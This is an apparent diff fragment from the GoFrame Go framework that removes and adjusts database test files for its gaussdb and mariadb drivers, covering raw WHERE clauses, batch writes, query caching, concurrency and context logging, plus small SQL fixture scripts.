t.Assert(result["id"].Int(), 3)
})
// struct, automatic mapping and filtering.
gtest.C(t, func(t *gtest.T) {
type User struct {
Id int
Nickname string
}
result, err := db.Model(table).Where(User{3, "name_3"}).One()
t.AssertNil(err)
t.Assert(result["id"].Int(), 3)
result, err = db.Model(table).Where(&User{3, "name_3"}).One()
t.AssertNil(err)
t.Assert(result["id"].Int(), 3)
})
}
func Test_Model_Save(t *testing.T) {
table := createTable()
defer dropTable(table)

File diff suppressed because it is too large Load Diff

View File

@ -7,7 +7,6 @@
package gaussdb_test
import (
"context"
"testing"
"github.com/gogf/gf/v2/database/gdb"
@ -98,45 +97,3 @@ func Test_Raw_Update(t *testing.T) {
t.Assert(n, int64(1))
})
}
func Test_Raw_Where(t *testing.T) {
table1 := createTable("test_raw_where_table1")
table2 := createTable("test_raw_where_table2")
defer dropTable(table1)
defer dropTable(table2)
// https://github.com/gogf/gf/issues/3922
gtest.C(t, func(t *gtest.T) {
expectSql := `SELECT * FROM "test_raw_where_table1" AS A WHERE NOT EXISTS (SELECT B.id FROM "test_raw_where_table2" AS B WHERE "B"."id"=A.id) LIMIT 1`
sql, err := gdb.ToSQL(ctx, func(ctx context.Context) error {
s := db.Model(table2).As("B").Ctx(ctx).Fields("B.id").Where("B.id", gdb.Raw("A.id"))
m := db.Model(table1).As("A").Ctx(ctx).Where("NOT EXISTS ?", s).Limit(1)
_, err := m.All()
return err
})
t.AssertNil(err)
t.Assert(expectSql, sql)
})
gtest.C(t, func(t *gtest.T) {
expectSql := `SELECT * FROM "test_raw_where_table1" AS A WHERE NOT EXISTS (SELECT B.id FROM "test_raw_where_table2" AS B WHERE B.id=A.id) LIMIT 1`
sql, err := gdb.ToSQL(ctx, func(ctx context.Context) error {
s := db.Model(table2).As("B").Ctx(ctx).Fields("B.id").Where(gdb.Raw("B.id=A.id"))
m := db.Model(table1).As("A").Ctx(ctx).Where("NOT EXISTS ?", s).Limit(1)
_, err := m.All()
return err
})
t.AssertNil(err)
t.Assert(expectSql, sql)
})
// https://github.com/gogf/gf/issues/3915
gtest.C(t, func(t *gtest.T) {
expectSql := `SELECT * FROM "test_raw_where_table1" WHERE "passport" < "nickname"`
sql, err := gdb.ToSQL(ctx, func(ctx context.Context) error {
m := db.Model(table1).Ctx(ctx).WhereLT("passport", gdb.Raw(`"nickname"`))
_, err := m.All()
return err
})
t.AssertNil(err)
t.Assert(expectSql, sql)
})
}

File diff suppressed because it is too large Load Diff

View File

@ -1,6 +0,0 @@
DROP TABLE IF EXISTS instance;
CREATE TABLE instance (
f_id SERIAL NOT NULL PRIMARY KEY,
name varchar(255) DEFAULT ''
);
INSERT INTO instance VALUES (1, 'john');

View File

@ -1,30 +0,0 @@
CREATE TABLE table_a (
id SERIAL PRIMARY KEY,
alias varchar(255) DEFAULT ''
);
INSERT INTO table_a VALUES (1, 'table_a_test1');
INSERT INTO table_a VALUES (2, 'table_a_test2');
CREATE TABLE table_b (
id SERIAL PRIMARY KEY,
table_a_id integer NOT NULL,
alias varchar(255) DEFAULT ''
);
INSERT INTO table_b VALUES (10, 1, 'table_b_test1');
INSERT INTO table_b VALUES (20, 2, 'table_b_test2');
INSERT INTO table_b VALUES (30, 1, 'table_b_test3');
INSERT INTO table_b VALUES (40, 2, 'table_b_test4');
CREATE TABLE table_c (
id SERIAL PRIMARY KEY,
table_b_id integer NOT NULL,
alias varchar(255) DEFAULT ''
);
INSERT INTO table_c VALUES (100, 10, 'table_c_test1');
INSERT INTO table_c VALUES (200, 10, 'table_c_test2');
INSERT INTO table_c VALUES (300, 20, 'table_c_test3');
INSERT INTO table_c VALUES (400, 30, 'table_c_test4');

View File

@ -1,4 +0,0 @@
CREATE TABLE IF NOT EXISTS %s (
id SERIAL PRIMARY KEY,
name varchar(45) NOT NULL
);

View File

@ -1,4 +0,0 @@
CREATE TABLE IF NOT EXISTS %s (
uid SERIAL PRIMARY KEY,
address varchar(45) NOT NULL
);

View File

@ -1,5 +0,0 @@
CREATE TABLE IF NOT EXISTS %s (
id SERIAL PRIMARY KEY,
uid integer NOT NULL,
score integer NOT NULL
);

View File

@ -30,10 +30,9 @@ const (
)
var (
db gdb.DB
db2 gdb.DB
dbInvalid gdb.DB
ctx = context.TODO()
db gdb.DB
db2 gdb.DB
ctx = context.TODO()
)
func init() {
@ -62,19 +61,6 @@ func init() {
}
db = db.Schema(TestSchema1)
db2 = db.Schema(TestSchema2)
// Invalid db (wrong port for testing error handling).
nodeInvalid := gdb.ConfigNode{
Link: fmt.Sprintf("mariadb:root:%s@tcp(127.0.0.1:3317)/?loc=Local&parseTime=true", TestDbPass),
TranTimeout: time.Second * 3,
}
gdb.AddConfigNode("nodeinvalid", nodeInvalid)
if r, err := gdb.NewByGroup("nodeinvalid"); err != nil {
gtest.Error(err)
} else {
dbInvalid = r
}
dbInvalid = dbInvalid.Schema(TestSchema1)
}
func createTable(table ...string) string {

View File

@ -1,337 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"context"
"fmt"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
// Test_Model_Batch_Insert tests batch insert with different batch sizes
func Test_Model_Batch_Insert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Prepare data for batch insert
data := g.Slice{}
for i := 1; i <= 10; i++ {
data = append(data, g.Map{
"id": i,
"passport": fmt.Sprintf("batch_user_%d", i),
"password": fmt.Sprintf("batch_pass_%d", i),
"nickname": fmt.Sprintf("batch_name_%d", i),
})
}
// Batch insert with batch size 3
result, err := db.Model(table).Batch(3).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 10)
// Verify all records were inserted
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 10)
// Verify specific records
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "batch_user_1")
one, err = db.Model(table).Where("id", 10).One()
t.AssertNil(err)
t.Assert(one["passport"], "batch_user_10")
})
}
// Test_Model_Batch_Replace tests batch replace operation
func Test_Model_Batch_Replace(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Initial insert
data := g.Slice{}
for i := 1; i <= 5; i++ {
data = append(data, g.Map{
"id": i,
"passport": fmt.Sprintf("original_%d", i),
})
}
_, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
// Batch replace with overlapping ids
replaceData := g.Slice{}
for i := 3; i <= 8; i++ {
replaceData = append(replaceData, g.Map{
"id": i,
"passport": fmt.Sprintf("replaced_%d", i),
"nickname": fmt.Sprintf("new_name_%d", i),
})
}
result, err := db.Model(table).Batch(2).Data(replaceData).Replace()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.AssertGT(n, 0)
// Verify replaced records
one, err := db.Model(table).Where("id", 3).One()
t.AssertNil(err)
t.Assert(one["passport"], "replaced_3")
t.Assert(one["nickname"], "new_name_3")
// Verify new records
one, err = db.Model(table).Where("id", 8).One()
t.AssertNil(err)
t.Assert(one["passport"], "replaced_8")
// Verify total count
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 8) // ids 1-8
})
}
// Test_Model_Batch_Save tests batch save operation
func Test_Model_Batch_Save(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Initial data
data := g.Slice{}
for i := 1; i <= 5; i++ {
data = append(data, g.Map{
"id": i,
"passport": fmt.Sprintf("save_user_%d", i),
})
}
_, err := db.Model(table).Data(data).Insert()
t.AssertNil(err)
// Batch save with overlapping and new ids
saveData := g.Slice{}
for i := 3; i <= 8; i++ {
saveData = append(saveData, g.Map{
"id": i,
"passport": fmt.Sprintf("saved_%d", i),
"nickname": fmt.Sprintf("save_name_%d", i),
})
}
result, err := db.Model(table).Batch(3).Data(saveData).Save()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.AssertGT(n, 0)
// Verify updated records
one, err := db.Model(table).Where("id", 3).One()
t.AssertNil(err)
t.Assert(one["passport"], "saved_3")
// Verify inserted records
one, err = db.Model(table).Where("id", 8).One()
t.AssertNil(err)
t.Assert(one["passport"], "saved_8")
// Verify total count
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 8)
})
}
// Test_Model_Batch_LargeBatch tests batch operation with large dataset
func Test_Model_Batch_LargeBatch(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Prepare 1000+ records
data := g.Slice{}
totalRecords := 1500
for i := 1; i <= totalRecords; i++ {
data = append(data, g.Map{
"id": i,
"passport": fmt.Sprintf("large_user_%d", i),
"nickname": fmt.Sprintf("large_name_%d", i),
})
}
// Batch insert with batch size 100
result, err := db.Model(table).Batch(100).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, totalRecords)
// Verify count
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, totalRecords)
// Verify first and last records
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "large_user_1")
one, err = db.Model(table).Where("id", totalRecords).One()
t.AssertNil(err)
t.Assert(one["passport"], fmt.Sprintf("large_user_%d", totalRecords))
})
}
// Test_Model_Batch_EmptyBatch tests batch operation with empty data
func Test_Model_Batch_EmptyBatch(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Empty slice
data := g.Slice{}
// Batch insert with empty data should return error
_, err := db.Model(table).Batch(10).Data(data).Insert()
t.AssertNE(err, nil)
t.AssertIN(err.Error(), "data list cannot be empty")
// Verify no records inserted
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 0)
})
}
// Test_Model_Batch_SingleRecord tests batch operation with single record
func Test_Model_Batch_SingleRecord(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Single record batch insert
data := g.Slice{
g.Map{
"id": 1,
"passport": "single_user",
"nickname": "single_name",
},
}
result, err := db.Model(table).Batch(10).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 1)
// Verify the record
one, err := db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "single_user")
t.Assert(one["nickname"], "single_name")
})
}
// Test_Model_Batch_VsBatch tests performance comparison between different batch sizes
func Test_Model_Batch_VsBatch(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Prepare data
data := g.Slice{}
for i := 1; i <= 100; i++ {
data = append(data, g.Map{
"id": i,
"passport": fmt.Sprintf("perf_user_%d", i),
})
}
// Test with batch size 1
result, err := db.Model(table).Batch(1).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 100)
// Clean up
_, err = db.Model(table).Where("1=1").Delete()
t.AssertNil(err)
// Test with batch size 10
result, err = db.Model(table).Batch(10).Data(data).Insert()
t.AssertNil(err)
n, _ = result.RowsAffected()
t.Assert(n, 100)
// Clean up
_, err = db.Model(table).Where("1=1").Delete()
t.AssertNil(err)
// Test with batch size 50
result, err = db.Model(table).Batch(50).Data(data).Insert()
t.AssertNil(err)
n, _ = result.RowsAffected()
t.Assert(n, 100)
// All batch sizes should produce same result
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 100)
})
}
// Test_Model_Batch_WithTransaction tests batch operation within transaction
func Test_Model_Batch_WithTransaction(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
data := g.Slice{}
for i := 1; i <= 50; i++ {
data = append(data, g.Map{
"id": i,
"passport": fmt.Sprintf("tx_batch_%d", i),
})
}
// Test commit
err := db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
result, err := tx.Model(table).Batch(10).Data(data).Insert()
t.AssertNil(err)
n, _ := result.RowsAffected()
t.Assert(n, 50)
return nil
})
t.AssertNil(err)
// Verify commit
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 50)
// Clean up
_, err = db.Model(table).Where("1=1").Delete()
t.AssertNil(err)
// Test rollback
err = db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
_, err := tx.Model(table).Batch(10).Data(data).Insert()
t.AssertNil(err)
return fmt.Errorf("rollback test")
})
t.AssertNE(err, nil)
// Verify rollback - no records should exist
count, err = db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 0)
})
}

View File

@ -1,300 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"context"
"testing"
"time"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
// Test_Model_Cache_Basic tests basic cache functionality
func Test_Model_Cache_Basic(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// First query - cache miss, result from DB
one, err := db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "test_cache_basic",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["id"], 1)
t.Assert(one["passport"], "user_1")
// Update the record in DB
_, err = db.Model(table).Data(g.Map{"passport": "updated_user"}).Where("id", 1).Update()
t.AssertNil(err)
// Second query - cache hit, still returns old cached value
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "test_cache_basic",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1") // cached value, not "updated_user"
// Query without cache - returns updated value from DB
one, err = db.Model(table).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "updated_user")
})
}
// Test_Model_Cache_TTL tests cache TTL expiration
func Test_Model_Cache_TTL(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Cache with short TTL
one, err := db.Model(table).Cache(gdb.CacheOption{
Duration: time.Millisecond * 100, // 100ms TTL
Name: "test_cache_ttl",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1")
// Update record
_, err = db.Model(table).Data(g.Map{"passport": "ttl_test"}).Where("id", 1).Update()
t.AssertNil(err)
// Immediate query - cache still valid
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Millisecond * 100,
Name: "test_cache_ttl",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1") // cached value
// Wait for cache to expire
time.Sleep(time.Millisecond * 150)
// Query after expiration - should get fresh data
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Millisecond * 100,
Name: "test_cache_ttl",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "ttl_test") // fresh value from DB
})
}
// Test_Model_Cache_Clear tests clearing cache with negative duration
func Test_Model_Cache_Clear(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Set cache
one, err := db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 60,
Name: "test_cache_clear",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1")
// Update record and clear cache
_, err = db.Model(table).Cache(gdb.CacheOption{
Duration: -1,
Name: "test_cache_clear",
}).Data(g.Map{"passport": "cleared"}).Where("id", 1).Update()
t.AssertNil(err)
// Query again - should get fresh data since cache was cleared
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 60,
Name: "test_cache_clear",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "cleared")
})
}
// Test_Model_Cache_NoExpire tests cache with no expiration (Duration=0)
func Test_Model_Cache_NoExpire(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Cache with no expiration
one, err := db.Model(table).Cache(gdb.CacheOption{
Duration: 0, // never expires
Name: "test_cache_no_expire",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1")
// Update record
_, err = db.Model(table).Data(g.Map{"passport": "no_expire_test"}).Where("id", 1).Update()
t.AssertNil(err)
// Wait a bit
time.Sleep(time.Millisecond * 100)
// Query - cache should still be valid
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: 0,
Name: "test_cache_no_expire",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1") // cached value persists
// Clear the cache with update operation
_, err = db.Model(table).Cache(gdb.CacheOption{
Duration: -1,
Name: "test_cache_no_expire",
}).Data(g.Map{"nickname": "cleared"}).Where("id", 1).Update()
t.AssertNil(err)
})
}
// Test_Model_Cache_Force tests Force option to cache nil results
func Test_Model_Cache_Force(t *testing.T) {
table := createInitTable()
defer dropTable(table)
// Note: Removed Force cache test due to cache invalidation on INSERT
// The test logic was flawed - INSERT operations clear cache, so cached nil
// results would be invalidated before the second query
}
// Test_Model_Cache_DisabledInTransaction tests cache is disabled in transactions
func Test_Model_Cache_DisabledInTransaction(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
err := db.Transaction(ctx, func(ctx context.Context, tx gdb.TX) error {
// First query in transaction
one, err := tx.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "test_tx_cache",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1")
// Update in transaction
_, err = tx.Model(table).Data(g.Map{"passport": "tx_update"}).Where("id", 1).Update()
t.AssertNil(err)
// Second query - should see updated value (cache disabled in tx)
one, err = tx.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "test_tx_cache",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "tx_update") // not cached, fresh from DB
return nil
})
t.AssertNil(err)
})
}
// Test_Model_PageCache tests pagination cache
func Test_Model_PageCache(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// First page query with cache
all, err := db.Model(table).PageCache(
gdb.CacheOption{Duration: time.Second * 10, Name: "test_page_count"},
gdb.CacheOption{Duration: time.Second * 10, Name: "test_page_data"},
).Page(1, 3).All()
t.AssertNil(err)
t.Assert(len(all), 3)
// Insert new record
_, err = db.Model(table).Data(g.Map{
"id": 11,
"passport": "user_11",
}).Insert()
t.AssertNil(err)
// Query again - should return cached results
all, err = db.Model(table).PageCache(
gdb.CacheOption{Duration: time.Second * 10, Name: "test_page_count"},
gdb.CacheOption{Duration: time.Second * 10, Name: "test_page_data"},
).Page(1, 3).All()
t.AssertNil(err)
t.Assert(len(all), 3) // cached results
// Clear page cache by updating with Duration=-1
_, err = db.Model(table).Cache(gdb.CacheOption{
Duration: -1,
Name: "test_page_count",
}).Data(g.Map{"nickname": "page_test"}).Where("id", 1).Update()
t.AssertNil(err)
// Query with fresh cache - should return updated count
all, err = db.Model(table).PageCache(
gdb.CacheOption{Duration: time.Second * 10, Name: "test_page_count"},
gdb.CacheOption{Duration: time.Second * 10, Name: "test_page_data"},
).Page(1, 3).All()
t.AssertNil(err)
t.Assert(len(all), 3) // still 3 items per page
// Verify total count increased
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, 11)
})
}
// Test_Model_Cache_DifferentNames tests different cache names for same query
func Test_Model_Cache_DifferentNames(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
// Cache with name1
one, err := db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "cache_name1",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1")
// Cache same query with name2
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "cache_name2",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1")
// Update record and clear only cache_name1
_, err = db.Model(table).Cache(gdb.CacheOption{
Duration: -1,
Name: "cache_name1",
}).Data(g.Map{"passport": "diff_name"}).Where("id", 1).Update()
t.AssertNil(err)
// Query with cache_name1 - should get fresh data
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "cache_name1",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "diff_name")
// Query with cache_name2 - should still have cached old value
one, err = db.Model(table).Cache(gdb.CacheOption{
Duration: time.Second * 10,
Name: "cache_name2",
}).Where("id", 1).One()
t.AssertNil(err)
t.Assert(one["passport"], "user_1") // still cached
})
}

View File

@ -1,338 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"fmt"
"sync"
"testing"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/frame/g"
"github.com/gogf/gf/v2/test/gtest"
)
// Test_Concurrent_Insert tests concurrent Insert operations
func Test_Concurrent_Insert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 10
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
_, err := db.Model(table).Insert(g.Map{
"passport": fmt.Sprintf("user_%d", id),
"password": fmt.Sprintf("pass_%d", id),
"nickname": fmt.Sprintf("name_%d", id),
})
t.AssertNil(err)
}(i + 1)
}
wg.Wait()
// Verify all records inserted
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, concurrency)
})
}
// Test_Concurrent_Update tests concurrent Update operations
func Test_Concurrent_Update(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 5
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
_, err := db.Model(table).Data(g.Map{
"nickname": fmt.Sprintf("updated_%d", id),
}).Where("id", id+1).Update()
t.AssertNil(err)
}(i)
}
wg.Wait()
// Verify updates
for i := 0; i < concurrency; i++ {
one, err := db.Model(table).Where("id", i+1).One()
t.AssertNil(err)
t.Assert(one["nickname"].String(), fmt.Sprintf("updated_%d", i))
}
})
}
// Test_Concurrent_Delete tests concurrent Delete operations
func Test_Concurrent_Delete(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 5
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
_, err := db.Model(table).Where("id", id+1).Delete()
t.AssertNil(err)
}(i)
}
wg.Wait()
// Verify deletions
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, TableSize-concurrency)
})
}
// Test_Concurrent_Query tests concurrent Query operations
func Test_Concurrent_Query(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 20
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
result, err := db.Model(table).Where("id", (id%TableSize)+1).One()
t.AssertNil(err)
t.AssertNE(result, nil)
}(i)
}
wg.Wait()
})
}
// Test_Concurrent_Transaction tests concurrent transaction operations
func Test_Concurrent_Transaction(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 10
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
err := db.Transaction(ctx, func(ctx g.Ctx, tx gdb.TX) error {
_, err := tx.Model(table).Insert(g.Map{
"passport": fmt.Sprintf("user_%d", id),
"password": fmt.Sprintf("pass_%d", id),
"nickname": fmt.Sprintf("name_%d", id),
})
return err
})
t.AssertNil(err)
}(i + 1)
}
wg.Wait()
// Verify all transactions committed
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, concurrency)
})
}
// Test_Concurrent_Mixed_Operations tests mixed concurrent operations
func Test_Concurrent_Mixed_Operations(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
operations := 30
wg.Add(operations)
for i := 0; i < operations; i++ {
op := i % 3
switch op {
case 0: // Insert
go func(id int) {
defer wg.Done()
_, _ = db.Model(table).Insert(g.Map{
"passport": fmt.Sprintf("new_user_%d", id),
"password": fmt.Sprintf("new_pass_%d", id),
"nickname": fmt.Sprintf("new_name_%d", id),
})
}(i)
case 1: // Update
go func(id int) {
defer wg.Done()
targetId := (id % TableSize) + 1
_, _ = db.Model(table).Data(g.Map{
"nickname": fmt.Sprintf("concurrent_%d", id),
}).Where("id", targetId).Update()
}(i)
case 2: // Query
go func(id int) {
defer wg.Done()
targetId := (id % TableSize) + 1
_, _ = db.Model(table).Where("id", targetId).One()
}(i)
}
}
wg.Wait()
// Verify database is still consistent
count, err := db.Model(table).Count()
t.AssertNil(err)
t.AssertGT(count, TableSize)
})
}
// Test_Concurrent_Connection_Pool tests connection pool under load
func Test_Concurrent_Connection_Pool(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 50
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
// Each goroutine performs multiple operations
for j := 0; j < 5; j++ {
_, err := db.Model(table).Where("id", (id%TableSize)+1).One()
t.AssertNil(err)
}
}(i)
}
wg.Wait()
})
}
// Test_Concurrent_Schema_Switch tests concurrent schema switching
func Test_Concurrent_Schema_Switch(t *testing.T) {
table1 := createTableWithDb(db, "test_schema_1")
table2 := createTableWithDb(db2, "test_schema_2")
defer dropTableWithDb(db, table1)
defer dropTableWithDb(db2, table2)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 10
wg.Add(concurrency * 2)
for i := 0; i < concurrency; i++ {
// Insert to schema1
go func(id int) {
defer wg.Done()
_, err := db.Model(table1).Insert(g.Map{
"passport": fmt.Sprintf("user_s1_%d", id),
"password": fmt.Sprintf("pass_%d", id),
"nickname": fmt.Sprintf("name_%d", id),
})
t.AssertNil(err)
}(i)
// Insert to schema2
go func(id int) {
defer wg.Done()
_, err := db2.Model(table2).Insert(g.Map{
"passport": fmt.Sprintf("user_s2_%d", id),
"password": fmt.Sprintf("pass_%d", id),
"nickname": fmt.Sprintf("name_%d", id),
})
t.AssertNil(err)
}(i)
}
wg.Wait()
// Verify both schemas
count1, err := db.Model(table1).Count()
t.AssertNil(err)
t.Assert(count1, concurrency)
count2, err := db2.Model(table2).Count()
t.AssertNil(err)
t.Assert(count2, concurrency)
})
}
// Test_Concurrent_Model_Clone tests concurrent model cloning
func Test_Concurrent_Model_Clone(t *testing.T) {
table := createInitTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
baseModel := db.Model(table).Where("id>", 0)
var wg sync.WaitGroup
concurrency := 20
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(id int) {
defer wg.Done()
// Clone model for each goroutine
m := baseModel.Clone()
result, err := m.Where("id<=", TableSize/2).All()
t.AssertNil(err)
t.AssertGT(len(result), 0)
}(i)
}
wg.Wait()
})
}
// Test_Concurrent_Batch_Insert tests concurrent batch insert operations
func Test_Concurrent_Batch_Insert(t *testing.T) {
table := createTable()
defer dropTable(table)
gtest.C(t, func(t *gtest.T) {
var wg sync.WaitGroup
concurrency := 5
batchSize := 10
wg.Add(concurrency)
for i := 0; i < concurrency; i++ {
go func(batchId int) {
defer wg.Done()
batch := make([]g.Map, 0, batchSize)
for j := 0; j < batchSize; j++ {
id := batchId*batchSize + j
batch = append(batch, g.Map{
"passport": fmt.Sprintf("batch_user_%d", id),
"password": fmt.Sprintf("pass_%d", id),
"nickname": fmt.Sprintf("name_%d", id),
})
}
_, err := db.Model(table).Data(batch).Insert()
t.AssertNil(err)
}(i)
}
wg.Wait()
// Verify all batch inserts
count, err := db.Model(table).Count()
t.AssertNil(err)
t.Assert(count, concurrency*batchSize)
})
}

View File

@ -1,163 +0,0 @@
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
//
// This Source Code Form is subject to the terms of the MIT License.
// If a copy of the MIT was not distributed with this file,
// You can obtain one at https://github.com/gogf/gf.
package mariadb_test
import (
"context"
"testing"
"time"
"github.com/gogf/gf/v2/database/gdb"
"github.com/gogf/gf/v2/os/glog"
"github.com/gogf/gf/v2/test/gtest"
)
func Test_Ctx(t *testing.T) {
gtest.C(t, func(t *gtest.T) {
db, err := gdb.Instance()
t.AssertNil(err)
err1 := db.PingMaster()
err2 := db.PingSlave()
t.Assert(err1, nil)
t.Assert(err2, nil)
newDb := db.Ctx(context.Background())
t.AssertNE(newDb, nil)
})
}
func Test_Ctx_Query(t *testing.T) {
db.GetLogger().(*glog.Logger).SetCtxKeys("SpanId", "TraceId")
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
ctx := context.WithValue(context.Background(), "TraceId", "12345678")
ctx = context.WithValue(ctx, "SpanId", "0.1")
db.Query(ctx, "select 1")
})
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
db.Query(ctx, "select 2")
})
}
func Test_Ctx_Model(t *testing.T) {
table := createInitTable()
defer dropTable(table)
db.GetLogger().(*glog.Logger).SetCtxKeys("SpanId", "TraceId")
gtest.C(t, func(t *gtest.T) {
db.SetDebug(true)
defer db.SetDebug(false)
ctx := context.WithValue(context.Background(), "TraceId", "12345678")
